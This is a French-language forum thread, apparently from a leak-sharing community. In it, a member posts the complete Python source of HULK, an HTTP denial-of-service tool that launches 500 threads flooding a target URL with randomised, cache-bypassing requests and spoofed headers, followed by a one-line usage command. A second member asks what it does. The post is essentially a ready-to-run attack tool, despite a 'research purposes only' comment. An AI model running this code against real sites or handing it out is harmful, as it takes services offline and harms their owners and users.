Layer 7 Hulk (Python)

MWHAX7

VeryLeak's Unique Member 👑
Level 5
VeryFriend's

Torrents Stats

Messages
573
J'aime
829
Trophées
1 404
Inscrit
22 Décembre 2015
bacdc01a3de6b0f93f0de5dc2b99bcf7.png

Code:
[LIST=1]
[*]# ----------------------------------------------------------------------------------------------
[*]# HULK - HTTP Unbearable Load King
[*]#
[*]# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
[*]# to their knees by exhausting the resource pool, its is meant for research purposes only
[*]# and any malicious usage of this tool is prohibited.
[*]#
[*]# author :  Barry Shteiman , version 1.0
[*]# ----------------------------------------------------------------------------------------------
[*]import urllib2
[*]import sys
[*]import threading
[*]import random
[*]import re
[*]

[*]#global params
[*]url=''
[*]host=''
[*]headers_useragents=[]
[*]headers_referers=[]
[*]request_counter=0
[*]flag=0
[*]safe=0
[*]

[*]def inc_counter():
[*]        global request_counter
[*]        request_counter+=1
[*]

[*]def set_flag(val):
[*]        global flag
[*]        flag=val
[*]

[*]def set_safe():
[*]        global safe
[*]        safe=1
[*]      
[*]# generates a user agent array
[*]def useragent_list():
[*]        global headers_useragents
[*]        headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
[*]        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
[*]        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
[*]        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
[*]        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
[*]        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
[*]        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
[*]        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
[*]        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
[*]        headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
[*]        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
[*]        headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
[*]        return(headers_useragents)
[*]

[*]# generates a referer array
[*]def referer_list():
[*]        global headers_referers
[*]        headers_referers.append('http://www.google.com/?q=')
[*]        headers_referers.append('http://www.usatoday.com/search/results?q=')
[*]        headers_referers.append('http://engadget.search.aol.com/search?q=')
[*]        headers_referers.append('http://' + host + '/')
[*]        return(headers_referers)
[*]      
[*]#builds random ascii string
[*]def buildblock(size):
[*]        out_str = ''
[*]        for i in range(0, size):
[*]                a = random.randint(65, 90)
[*]                out_str += chr(a)
[*]        return(out_str)
[*]

[*]def usage():
[*]        print '---------------------------------------------------'
[*]        print 'USAGE: python hulk.py <url>'
[*]        print 'you can add "safe" after url, to autoshut after dos'
[*]        print '---------------------------------------------------'
[*]

[*]      
[*]#http request
[*]def httpcall(url):
[*]        useragent_list()
[*]        referer_list()
[*]        code=0
[*]        if url.count("?")>0:
[*]                param_joiner="&"
[*]        else:
[*]                param_joiner="?"
[*]        request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
[*]        request.add_header('User-Agent', random.choice(headers_useragents))
[*]        request.add_header('Cache-Control', 'no-cache')
[*]        request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
[*]        request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
[*]        request.add_header('Keep-Alive', random.randint(110,120))
[*]        request.add_header('Connection', 'keep-alive')
[*]        request.add_header('Host',host)
[*]        try:
[*]                        urllib2.urlopen(request)
[*]        except urllib2.HTTPError, e:
[*]                        #print e.code
[*]                        set_flag(1)
[*]                        print 'Response Code 500'
[*]                        code=500
[*]        except urllib2.URLError, e:
[*]                        #print e.reason
[*]                        sys.exit()
[*]        else:
[*]                        inc_counter()
[*]                        urllib2.urlopen(request)
[*]        return(code)          
[*]

[*]      
[*]#http caller thread
[*]class HTTPThread(threading.Thread):
[*]        def run(self):
[*]                try:
[*]                        while flag<2:
[*]                                code=httpcall(url)
[*]                                if (code==500) & (safe==1):
[*]                                        set_flag(2)
[*]                except Exception, ex:
[*]                        pass
[*]

[*]# monitors http threads and counts requests
[*]class MonitorThread(threading.Thread):
[*]        def run(self):
[*]                previous=request_counter
[*]                while flag==0:
[*]                        if (previous+100<request_counter) & (previous<>request_counter):
[*]                                print "%d Requests Sent" % (request_counter)
[*]                                previous=request_counter
[*]                if flag==2:
[*]                        print "\n-- HULK Attack Finished --"
[*]

[*]#execute
[*]if len(sys.argv) < 2:
[*]        usage()
[*]        sys.exit()
[*]else:
[*]        if sys.argv[1]=="help":
[*]                usage()
[*]                sys.exit()
[*]        else:
[*]                print "-- HULK Attack Started --"
[*]                if len(sys.argv)== 3:
[*]                        if sys.argv[2]=="safe":
[*]                                set_safe()
[*]                url = sys.argv[1]
[*]                if url.count("/")==2:
[*]                        url = url + "/"
[*]                m = re.search('http\://([^/]*)/?.*', url)
[*]                host = m.group(1)
[*]                for i in range(500):
[*]                        t = HTTPThread()
[*]                        t.start()
[*]                t = MonitorThread()
[*]                t.start()
[/LIST]
Code:
python hulk.py 127.0.0.1

Source :
http://i.imgur.com/NO6eY4l.png


Source :
lien ou image supprimée
 

7even.

Nitro Booster ❤
Level 5
VeryFriend's

Torrents Stats

Messages
991
J'aime
168
Trophées
999
Inscrit
14 Décembre 2015
J'ai l'impression que c'est pour des sites Web , mais il sert a quoi concrètement ?
 

MWHAX7

VeryLeak's Unique Member 👑
Level 5
VeryFriend's

Torrents Stats

Messages
573
J'aime
829
Trophées
1 404
Inscrit
22 Décembre 2015
Haut Bas